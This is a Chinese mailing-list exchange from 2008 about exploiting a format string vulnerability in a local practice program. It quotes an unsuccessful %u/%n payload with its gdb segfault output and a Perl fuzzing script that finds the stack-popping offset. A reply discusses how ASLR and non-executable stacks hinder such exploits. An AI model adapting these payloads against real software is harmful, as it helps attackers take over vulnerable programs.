FS的溢出我也是觉得比其他的较难利用, 我也没成功过几次... 主要是看当前操作系统的防御措施, 比如随机定位起始地址,
比如拒绝写入stack, 所以FS现在不怎么好用, 不像以前了.
而且根据你的系统的报错信息, 似乎是操作系统已经做出了overflow的判断并且kill掉你的exploit了 -_-
>>>Program received signal SIGSEGV<<<, Segmentation fault.
P.S 我可不是什么牛人, 以前不是现在不是以后也不是=.= 比起专业的安全界牛牛们我只是在软件工程界对系统安全有兴趣的初级初级~~
学习是无止境的, 记得要共享 ;)
2008/10/2 qi chai <[EMAIL PROTECTED]>:
> 呵呵 谢谢你详细的分析 牛人!
> 我的判断也是在 fprintf(stderr, argv[1]); 有format string 溢出
> 仔细阅读的scut / team teso论文以及Google了一些资料后后,知道了原理 以及如何打印任意地址的内容
> 但对于exp仍然是无从下手 主要是觉得写入地址太过麻烦 而且医用%n就报段错误(vsprintf错误)
> 还望牛人在exp上指点一二!
>
> 错误如下:
> Starting program: /home/raullen/Desktop/T/primetarget
> "\x20\xf4\xff\xbf________%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u%u|%n|"
> Program received signal SIGSEGV, Segmentation fault.
> 0xb7ec764d in vfprintf () from /lib/tls/i686/cmov/libc.so.6
> (gdb) c
> Continuing.
>
> 以下附上我写的一个fuzz辅助定位stackpoping的小脚本:
> #use strict;
> #open (stdout, ">>1.txt");
> $count = 131;
> #$cmd = "/home/raullen/Desktop/T/primetarget "
> $pre = "\"AAAABBBB________";
> $suf = "|%08x|";
> while ($count < 132) {
> $line = "%u";
> $cmd = "/home/raullen/Desktop/T/primetarget ";
> #print "A"x$count; print "\n";
> $i = $count;
> REDO:
> if($i>0){
> $line = $line."%u";
> $i--;
> goto REDO;
> }
> #print $line;print "\n";
> print $count;
> $count++;
> $cmd = $cmd.$pre.$line.$suf." \" >>1.txt 2>&1";
> system($cmd);
> print $cmd;
> print "\n";
> }
>
> --
> The highest excellence is like that of water! www.raullen.net
>
--
Atomic.Ping
--~--~---------~--~----~------------~-------~--~----~
要向邮件组发送邮件,请发到 [email protected]
要退订此邮件,请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---